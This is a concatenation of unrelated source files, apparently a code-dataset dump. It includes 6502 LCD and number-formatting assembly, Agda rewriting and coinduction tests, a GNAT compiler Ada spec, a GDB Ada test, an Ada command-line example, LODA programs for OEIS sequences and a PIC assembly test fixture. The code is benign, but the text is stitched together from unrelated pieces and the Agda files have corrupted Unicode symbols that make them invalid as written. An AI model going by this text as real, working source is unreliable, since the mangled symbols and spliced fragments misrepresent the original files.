tax
pla ; Pop new character off the stack
sta string,y ; Store new character at the current index
beq push_char_break
iny ; Increment index
txa ; Move previous character into A register
jmp push_char_loop
push_char_break:
rts
; Convert the `number` variable to a sequence of
; characters and store them in the `string` variable
to_string:
; Initialize string
lda #0
sta string
to_string_divide:
; Initialize the remainder to zero
lda #0
sta mod_10
sta mod_10 + 1
; Initialize X register to 16 as a counter (for processing 2-byte numbers)
ldx #16
clc
to_string_division_loop:
; Rotate dividend and remainder
rol number
rol number + 1
rol mod_10
rol mod_10 + 1
; a,y = dividend - divisor
sec
lda mod_10
sbc #10
tay ; Save low byte to Y register
lda mod_10 + 1
sbc #0
bcc to_string_ignore_result
sty mod_10
sta mod_10 + 1
to_string_ignore_result:
dex
bne to_string_division_loop
; Shift carry bit into number
rol number
rol number + 1
to_string_save_remainder:
clc
lda mod_10
adc #"0"
jsr push_char
; If number is not zero, continue dividing (via shift and subtraction)
lda number
ora number + 1
bne to_string_divide
rts
;;;;;;;;;;;;;;;;;;;;;;
;;;; LCD Uitities ;;;;
;;;;;;;;;;;;;;;;;;;;;;
lcd_init:
; Set all pins on port B to output
lda #%11111111
sta DDRB
; Set top 3 pins on port A to output
lda #%11100000
sta DDRA
; Set 8-bit mode; 2-line display; 5x8 font
lda #%00111000
jsr lcd_instruction
; Display on; cursor on; blink on
lda #%00001111
jsr lcd_instruction
; Increment cursor; no display shift
lda #%00000110
jsr lcd_instruction
jsr lcd_clear
jsr lcd_return
rts
lcd_clear:
lda #%00000001
jsr lcd_instruction
rts
lcd_return:
lda #%00000010
jsr lcd_instruction
rts
lcd_instruction:
jsr lcd_wait
sta PORTB
lda #E ; Toggle E bit to send instruction
sta PORTA
lda #0
sta PORTA
rts
lcd_wait:
pha
lda #%00000000 ; Set all pins on port B to input
sta DDRB
lcd_wait_busy:
lda #RW
sta PORTA
lda #(RW | E) ; Toggle RW and E bits to read data
sta PORTA
lda PORTB
and #%10000000
bne lcd_wait_busy
lda #%11111111 ; Set all pins on port B to output
sta DDRB
pla
rts
;;;;;;;;;;;;;;;;;;;;;;;
;;;; CPU Utilities ;;;;
;;;;;;;;;;;;;;;;;;;;;;;
delay:
phx
phy
ldx #255
ldy #127
delay_loop:
dex
bne delay_loop
dey
bne delay_loop
ply
plx
rts
idle:
jmp idle
;;;;;;;;;;;;;;;;
;;;; Offset ;;;;
;;;;;;;;;;;;;;;;
*=$fffa
;;;;;;;;;;;;;;
;;;; Data ;;;;
;;;;;;;;;;;;;;
!word nmi ; NMI interrupt handler
!word main ; Set the program counter to the address of the main label
!word irq ; IRQ interrupt handler |
test/Succeed/Issue4032.agda | KDr2/agda | 0 | 2541 | {-# OPTIONS --cubical-compatible --rewriting --confluence-check #-}
open import Agda.Primitive using (Level; _β_; SetΟ; lzero; lsuc)
module Issue4032 where
infix 4 _β‘_
data _β‘_ {β : Level} {A : Set β} (a : A) : A β Set β where
refl : a β‘ a
{-# BUILTIN REWRITE _β‘_ #-}
run : β {β} {A B : Set β} β A β‘ B β A β B
run refl x = x
nur : β {β} {A B : Set β} β A β‘ B β B β A
nur refl x = x
convert : β {β} {A B : Set β} (p : A β‘ B) (a : A) β nur p (run p a) β‘ a
convert refl a = refl
trevnoc : β {β} {A B : Set β} (p : A β‘ B) (b : B) β run p (nur p b) β‘ b
trevnoc refl b = refl
ap : β {a b} {A : Set a} {B : Set b} (f : A β B) {aβ aβ} β aβ β‘ aβ β f aβ β‘ f aβ
ap f refl = refl
transport : β {a b} {A : Set a} (B : A β Set b) {x y : A} (p : x β‘ y) β B x β B y
transport B p = run (ap B p)
apD : β {a b} {A : Set a} {B : A β Set b} (f : (x : A) β B x) {aβ aβ} β (p : aβ β‘ aβ) β transport B p (f aβ) β‘ f aβ
apD f refl = refl
ap2 : β {a b c} {A : Set a} {B : A β Set b} {C : Set c} (f : (x : A) β B x β C) {aβ aβ} (pa : aβ β‘ aβ) {bβ bβ} β transport B pa bβ β‘ bβ β f aβ bβ β‘ f aβ bβ
ap2 f refl refl = refl
postulate fromIso : β {β} {A B : Set β} (f : A β B) (g : B β A) (Ξ· : (x : A) β g (f x) β‘ x) (Ξ΅ : (x : B) β f (g x) β‘ x) (Ο : (x : A) β ap f (Ξ· x) β‘ Ξ΅ (f x)) β A β‘ B
postulate fromIso-refl : β {β} {A : Set β} β fromIso {β} {A} {A} (Ξ» x β x) (Ξ» x β x) (Ξ» x β refl) (Ξ» x β refl) (Ξ» x β refl) β‘ refl
{-# REWRITE fromIso-refl #-}
J : β {ββ ββ} {A : Set ββ} {a : A} (P : (b : A) β a β‘ b β Set ββ) {b : A} (p : a β‘ b) β P a refl β P b p
J R refl r = r
module foo {-ββ-} {β} {Ξ : Set β{-β-}} {xs ys : Ξ} (ps : xs β‘ ys) (tA : Ξ β Set β) (tB : (Ξ³ : Ξ) β tA Ξ³ β Set β) where
module pf where
iso-f : ((a : tA xs) β (tB xs) a) β ((a : tA ys) β (tB ys) a)
iso-f var1 var0 = run (ap2 tB ps (trevnoc (ap tA ps) var0)) (var1 (nur (ap tA ps) var0))
iso-g : ((a : tA ys) β (tB ys) a) β ((a : tA xs) β (tB xs) a)
iso-g var1 var0 = nur (ap2 tB ps refl) (var1 (run (ap tA ps) var0))
iso-Ξ· : (var0 : _) β iso-g (iso-f var0) β‘ var0
iso-Ξ· var0 = J (Ξ» ys (ps : xs β‘ ys) β (Ξ» var1 β nur (ap2 tB ps refl) (run (ap2 tB ps (trevnoc (ap tA ps) (run (ap tA ps) var1))) (var0 (nur (ap tA ps) (run (ap tA ps) var1))))) β‘ var0) ps refl
iso-Ξ΅ : (var0 : _) β iso-f (iso-g var0) β‘ var0
iso-Ξ΅ = J (Ξ» ys (ps : xs β‘ ys) β (var0 : (a : tA ys) β tB ys a) β (Ξ» var1 β run (ap2 tB ps (trevnoc (ap tA ps) var1)) (nur (ap2 tB ps refl) (var0 (run (ap tA ps) (nur (ap tA ps) var1))))) β‘ var0) ps (Ξ» var0 β refl)
iso-Ο : (var0 : _) β ap iso-f (iso-Ξ· var0) β‘ iso-Ξ΅ (iso-f var0)
iso-Ο var0 = J
(Ξ» ys (ps : xs β‘ ys) β
ap
(Ξ» var1 var2 β
run (ap2 tB ps (trevnoc (ap tA ps) var2))
(var1 (nur (ap tA ps) var2)))
(J
(Ξ» ysβ psβ β
(Ξ» var1 β
nur (ap2 tB psβ refl)
(run (ap2 tB psβ (trevnoc (ap tA psβ) (run (ap tA psβ) var1)))
(var0 (nur (ap tA psβ) (run (ap tA psβ) var1)))))
β‘ var0)
ps refl)
β‘
J
(Ξ» ysβ psβ β
(var1 : (a : tA ysβ) β tB ysβ a) β
(Ξ» var2 β
run (ap2 tB psβ (trevnoc (ap tA psβ) var2))
(nur (ap2 tB psβ refl)
(var1 (run (ap tA psβ) (nur (ap tA psβ) var2)))))
β‘ var1)
ps (Ξ» var1 β refl)
(Ξ» var1 β
run (ap2 tB ps (trevnoc (ap tA ps) var1))
(var0 (nur (ap tA ps) var1))))
ps refl
open pf
pf : ((a : tA xs) β (tB xs) a) β‘ ((a : tA ys) β (tB ys) a)
pf = fromIso iso-f iso-g iso-Ξ· iso-Ξ΅ iso-Ο
module bar {β} {Ξ : Set β} {Ξ³ : Ξ} {A : Ξ β Set β} {B : (Ξ³ : Ξ) β A Ξ³ β Set β} where
g1 : ((a : A Ξ³) β B Ξ³ a) β (a : A Ξ³) β B Ξ³ a
g2 : ((a : A Ξ³) β B Ξ³ a) β (a : A Ξ³) β B Ξ³ a
g1 = foo.pf.iso-g {xs = Ξ³} refl A B
g2 = Ξ» f x β f x
pfg : g1 β‘ g2
pfg = refl
baz : foo.pf {xs = Ξ³} refl A B β‘ refl
baz = pf
where
pf : fromIso {_} {(x : A Ξ³) β B Ξ³ x} (Ξ» f x β f x) g2 (foo.pf.iso-Ξ· refl A B) (foo.pf.iso-Ξ΅ refl A B) (foo.pf.iso-Ο refl A B) β‘ refl
pf = refl
{- WAS:
refl !=
fromIso (foo.pf.iso-f refl A B) (foo.pf.iso-g refl A B)
(foo.pf.iso-Ξ· refl A B) (foo.pf.iso-Ξ΅ refl A B)
(foo.pf.iso-Ο refl A B)
of type ((x : A Ξ³) β B Ξ³ x) β‘ ((x : A Ξ³) β B Ξ³ x)
when checking that the expression pf has type
foo.pf refl A B β‘ refl
-}
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/sem_elab.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 27465 | <filename>Validation/pyFrame3DD-master/gcc-master/gcc/ada/sem_elab.ads
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S E M _ E L A B --
-- --
-- S p e c --
-- --
-- Copyright (C) 1997-2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains routines which handle access-before-elaboration
-- run-time checks and compile-time diagnostics. See the body for details.
with Types; use Types;
package Sem_Elab is
-----------
-- Types --
-----------
-- The following type classifies the various enclosing levels used in ABE
-- diagnostics.
type Enclosing_Level_Kind is
(Declaration_Level,
-- A construct is at the "declaration level" when it appears within the
-- declarations of a block statement, an entry body, a subprogram body,
-- or a task body, ignoring enclosing packages. Example:
-- package Pack is
-- procedure Proc is -- subprogram body
-- package Nested is -- enclosing package ignored
-- X ... -- at declaration level
Generic_Spec_Level,
Generic_Body_Level,
-- A construct is at the "generic level" when it appears in a
-- generic package library unit, ignoring enclosing packages. Example:
-- generic
-- package Pack is -- generic package spec
-- package Nested is -- enclosing package ignored
-- X ... -- at generic library level
Instantiation_Level,
-- A construct is at the "instantiation library level" when it appears
-- in a library unit which is also an instantiation. Example:
-- package Inst is new Gen; -- at instantiation level
Library_Spec_Level,
Library_Body_Level,
-- A construct is at the "library level" when it appears in a package
-- library unit, ignoring enclosing packages. Example:
-- package body Pack is -- package body
-- package Nested is -- enclosing package ignored
-- X ... -- at library level
No_Level);
-- This value is used to indicate that none of the levels above are in
-- effect.
subtype Generic_Level is Enclosing_Level_Kind range
Generic_Spec_Level ..
Generic_Body_Level;
subtype Library_Level is Enclosing_Level_Kind range
Library_Spec_Level ..
Library_Body_Level;
subtype Library_Or_Instantiation_Level is Enclosing_Level_Kind range
Instantiation_Level ..
Library_Body_Level;
procedure Build_Call_Marker (N : Node_Id);
pragma Inline (Build_Call_Marker);
-- Create a call marker for call or requeue statement N and record it for
-- later processing by the ABE mechanism.
procedure Build_Variable_Reference_Marker
(N : Node_Id;
Read : Boolean;
Write : Boolean);
pragma Inline (Build_Variable_Reference_Marker);
-- Create a variable reference marker for arbitrary node N if it mentions a
-- variable, and record it for later processing by the ABE mechanism. Flag
-- Read should be set when the reference denotes a read. Flag Write should
-- be set when the reference denotes a write.
procedure Check_Elaboration_Scenarios;
-- Examine each scenario recorded during analysis/resolution and apply the
-- Ada or SPARK elaboration rules taking into account the model in effect.
-- This processing detects and diagnoses ABE issues, installs conditional
-- ABE checks or guaranteed ABE failures, and ensures the elaboration of
-- units.
function Find_Enclosing_Level (N : Node_Id) return Enclosing_Level_Kind;
pragma Inline (Find_Enclosing_Level);
-- Determine the enclosing level of arbitrary node N
procedure Initialize;
pragma Inline (Initialize);
-- Initialize the internal structures of this unit
procedure Kill_Elaboration_Scenario (N : Node_Id);
-- Determine whether arbitrary node N denotes a scenario which requires
-- ABE diagnostics or runtime checks and eliminate it from a region with
-- dead code.
procedure Record_Elaboration_Scenario (N : Node_Id);
pragma Inline (Record_Elaboration_Scenario);
-- Determine whether atribtray node N denotes a scenario which requires
-- ABE diagnostics or runtime checks. If this is the case, store N for
-- later processing.
---------------------------------------------------------------------------
-- --
-- L E G A C Y A C C E S S B E F O R E E L A B O R A T I O N --
-- --
-- M E C H A N I S M --
-- --
---------------------------------------------------------------------------
-- This section contains the implementation of the pre-18.x Legacy ABE
-- Mechanism. The mechanism can be activated using switch -gnatH (legacy
-- elaboration checking mode enabled).
procedure Check_Elab_Assign (N : Node_Id);
-- N is either the left side of an assignment, or a procedure argument for
-- a mode OUT or IN OUT formal. This procedure checks for a possible case
-- of access to an entity from elaboration code before the entity has been
-- initialized, and issues appropriate warnings.
procedure Check_Elab_Call
(N : Node_Id;
Outer_Scope : Entity_Id := Empty;
In_Init_Proc : Boolean := False);
-- Check a call for possible elaboration problems. The node N is either an
-- N_Function_Call or N_Procedure_Call_Statement node or an access
-- attribute reference whose prefix is a subprogram.
--
-- If SPARK_Mode is On, then N can also be a variable reference, since
-- SPARK requires the use of Elaborate_All for references to variables
-- in other packages.
-- The Outer_Scope argument indicates whether this is an outer level
-- call from Sem_Res (Outer_Scope set to Empty), or an internal recursive
-- call (Outer_Scope set to entity of outermost call, see body). The flag
-- In_Init_Proc should be set whenever the current context is a type
-- init proc.
-- Note: this might better be called Check_Elab_Reference (to recognize
-- the SPARK case), but we prefer to keep the original name, since this
-- is primarily used for checking for calls that could generate an ABE).
procedure Check_Elab_Calls;
-- Not all the processing for Check_Elab_Call can be done at the time
-- of calls to Check_Elab_Call. This is because for internal calls, we
-- need to wait to complete the check until all generic bodies have been
-- instantiated. The Check_Elab_Calls procedure cleans up these waiting
-- checks. It is called once after the completion of instantiation.
procedure Check_Elab_Instantiation
(N : Node_Id;
Outer_Scope : Entity_Id := Empty);
-- Check an instantiation for possible elaboration problems. N is an
-- instantiation node (N_Package_Instantiation, N_Function_Instantiation,
-- or N_Procedure_Instantiation), and Outer_Scope indicates if this is
-- an outer level call from Sem_Ch12 (Outer_Scope set to Empty), or an
-- internal recursive call (Outer_Scope set to scope of outermost call,
-- see body for further details). The returned value is relevant only
-- for an outer level call, and is set to False if an elaboration error
-- is bound to occur on the instantiation, and True otherwise. This is
-- used by the caller to signal that the body of the instance should
-- not be generated (see detailed description in body).
procedure Check_Task_Activation (N : Node_Id);
-- At the point at which tasks are activated in a package body, check
-- that the bodies of the tasks are elaborated.
end Sem_Elab;
|
gdb/testsuite/gdb.ada/sub_variant/subv.adb | greyblue9/binutils-gdb | 1 | 22971 | -- Copyright 2020-2021 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 3 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program. If not, see <http://www.gnu.org/licenses/>.
procedure Subv is
type Indicator_T is (First, Last);
type T1 (Indicator : Indicator_T := First) is
record
case Indicator is
when First =>
Value : Natural;
when Last =>
null;
end case;
end record;
type T2 (Indicator : Indicator_T := First) is
record
Associated : T1;
case Indicator is
when First =>
Value : Natural;
when Last =>
null;
end case;
end record;
Q : T2 := ( First, (First, 42), 51 );
R : T2 := ( First, (Indicator => Last), 51 );
S : T2 := ( Last, (First, 42));
begin
null; -- STOP
end;
|
test/Succeed/Issue140.agda | alhassy/agda | 3 | 12122 | <filename>test/Succeed/Issue140.agda
open import Agda.Builtin.Coinduction
open import Agda.Builtin.Nat
open import Agda.Builtin.List
open import Agda.Builtin.Equality
data Colist (A : Set) : Set where
[] : Colist A
_β·_ : A β β (Colist A) β Colist A
from : Nat β Colist Nat
from n = let sn = suc n in n β· β― (from sn)
take : {A : Set} β Nat β Colist A β List A
take zero xs = []
take (suc n) [] = []
take (suc n) (x β· xs) = x β· take n (β xs)
check : take 3 (from 5) β‘ 5 β· 6 β· 7 β· []
check = refl
|
example/src/clic_ex-commands.adb | alire-project/clic | 9 | 11036 | with AAA.Strings;
with CLIC.TTY;
with CLIC.User_Input;
with CLIC.Config.Load;
with CLIC_Ex.Commands.TTY;
with CLIC_Ex.Commands.User_Input;
with CLIC_Ex.Commands.Switches_And_Args;
with CLIC_Ex.Commands.Double_Dash;
with CLIC_Ex.Commands.Topics.Example;
with CLIC_Ex.Commands.Config;
with CLIC_Ex.Commands.Subsub;
package body CLIC_Ex.Commands is
Help_Switch : aliased Boolean := False;
No_Color : aliased Boolean := False;
-- Force-disable color output
No_TTY : aliased Boolean := False;
-- Used to disable control characters in output
-------------------------
-- Set_Global_Switches --
-------------------------
procedure Set_Global_Switches
(Config : in out CLIC.Subcommand.Switches_Configuration)
is
use CLIC.Subcommand;
begin
Define_Switch (Config,
Help_Switch'Access,
"-h", "--help",
"Display general or command-specific help");
Define_Switch (Config,
CLIC.User_Input.Not_Interactive'Access,
"-n", "--non-interactive",
"Assume default answers for all user prompts");
Define_Switch (Config,
No_Color'Access,
Long_Switch => "--no-color",
Help => "Disables colors in output");
Define_Switch (Config,
No_TTY'Access,
Long_Switch => "--no-tty",
Help => "Disables control characters in output");
end Set_Global_Switches;
-------------
-- Execute --
-------------
procedure Execute is
begin
Sub_Cmd.Parse_Global_Switches;
if No_TTY then
CLIC.TTY.Force_Disable_TTY;
end if;
if not No_Color and then not No_TTY then
CLIC.TTY.Enable_Color (Force => False);
-- This may still not enable color if TTY is detected to be incapable
end if;
CLIC.Config.Load.From_TOML (Config_DB, "global", "global_config.toml");
CLIC.Config.Load.From_TOML (Config_DB, "local", "local_config.toml");
Sub_Cmd.Load_Aliases (Config_DB);
Sub_Cmd.Execute;
end Execute;
begin
Sub_Cmd.Register (new Sub_Cmd.Builtin_Help);
Sub_Cmd.Register (new CLIC_Ex.Commands.Config.Instance);
Sub_Cmd.Register (new CLIC_Ex.Commands.TTY.Instance);
Sub_Cmd.Register (new CLIC_Ex.Commands.User_Input.Instance);
Sub_Cmd.Register (new CLIC_Ex.Commands.Switches_And_Args.Instance);
Sub_Cmd.Register (new CLIC_Ex.Commands.Double_Dash.Instance);
Sub_Cmd.Register (new CLIC_Ex.Commands.Subsub.Instance);
Sub_Cmd.Register (new CLIC_Ex.Commands.Topics.Example.Instance);
Sub_Cmd.Set_Alias ("blink", AAA.Strings.Empty_Vector
.Append ("tty")
.Append ("--blink"));
Sub_Cmd.Set_Alias ("error_alias", AAA.Strings.Empty_Vector
.Append ("tty")
.Append ("--test"));
Sub_Cmd.Set_Alias ("alias_to_switch", AAA.Strings.Empty_Vector
.Append ("--plop"));
end CLIC_Ex.Commands;
|
oeis/164/A164001.asm | neoneye/loda-programs | 11 | 245654 | ; A164001: Spiral of triangles around a hexagon.
; 1,2,3,4,5,7,9,12,16,21,28,37,49,65,86,114,151,200,265,351,465,616,816,1081,1432,1897,2513,3329,4410,5842,7739,10252,13581,17991,23833,31572,41824,55405,73396,97229,128801,170625,226030,299426,396655,525456,696081,922111,1221537,1618192,2143648,2839729,3761840,4983377,6601569,8745217,11584946,15346786,20330163,26931732,35676949,47261895,62608681,82938844,109870576,145547525,192809420,255418101,338356945,448227521,593775046,786584466,1042002567,1380359512,1828587033,2422362079,3208946545
mov $2,2
lpb $2
mov $2,$0
lpe
sub $2,1
add $0,$2
add $0,2
seq $0,134816 ; Padovan's spiral numbers.
|
oeis/021/A021094.asm | neoneye/loda-programs | 11 | 104518 | ; A021094: Expansion of 1/((1-x)(1-2x)(1-4x)(1-11x)).
; Submitted by <NAME>
; 1,18,233,2718,30549,338706,3736561,41145606,452775917,4981233114,54796358409,602771123214,6630527086405,72935976891042,802296461596577,8825263940808342,97077914802006813,1067857108634797290,11746428378234183865,129210712893582725790,1421317844761438893941,15634496304103947668658,171979459392055912085073,1891774053500265000632358,20809514589253514911296589,228904660484791063708733946,2517951265344711299668177001,27697463918839862692106796846,304672103107430643196739035557
mov $1,1
mov $2,1
mov $3,2
lpb $0
sub $0,1
mul $1,11
mul $3,4
add $3,2
add $1,$3
mul $2,2
add $2,1
sub $1,$2
lpe
mov $0,$1
|
src/firmware-tests/Ui/States/NextStateWaitsForButtonPressTestFixture.asm | pete-restall/Cluck2Sesame-Prototype | 1 | 7061 | #include "Mcu.inc"
#include "FarCalls.inc"
#include "Ui.inc"
#include "../UiStates.inc"
#include "../../Platform/Lcd/IsLcdIdleStub.inc"
#include "TestFixture.inc"
radix decimal
extern testAct
udata
global initialIsLcdIdle
global initialUiState
global expectUiButtonEventBaseStateChanges
global expectedUiButtonEventBaseState
initialIsLcdIdle res 1
initialUiState res 1
expectUiButtonEventBaseStateChanges res 1
expectedUiButtonEventBaseState res 1
NextStateWaitsForButtonPressTestFixture code
global testArrange
testArrange:
fcall initialiseUi
banksel initialIsLcdIdle
movf initialIsLcdIdle, W
fcall initialiseIsLcdIdleStub
banksel initialUiState
movf initialUiState, W
banksel uiState
movwf uiState
banksel expectUiButtonEventBaseStateChanges
movf expectUiButtonEventBaseStateChanges
btfss STATUS, Z
goto callTestActInTest
banksel uiButtonEventBaseState
movf uiButtonEventBaseState, W
banksel expectedUiButtonEventBaseState
movwf expectedUiButtonEventBaseState
callTestActInTest:
fcall testAct
testAssert:
.assertStateIs UI_STATE_WAIT_BUTTONPRESS
.aliasForAssert uiButtonEventBaseState, _a
.aliasForAssert expectedUiButtonEventBaseState, _b
.assert "_a == _b, 'Expected uiButtonEventBaseState == expectedUiButtonEventBaseState.'"
return
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.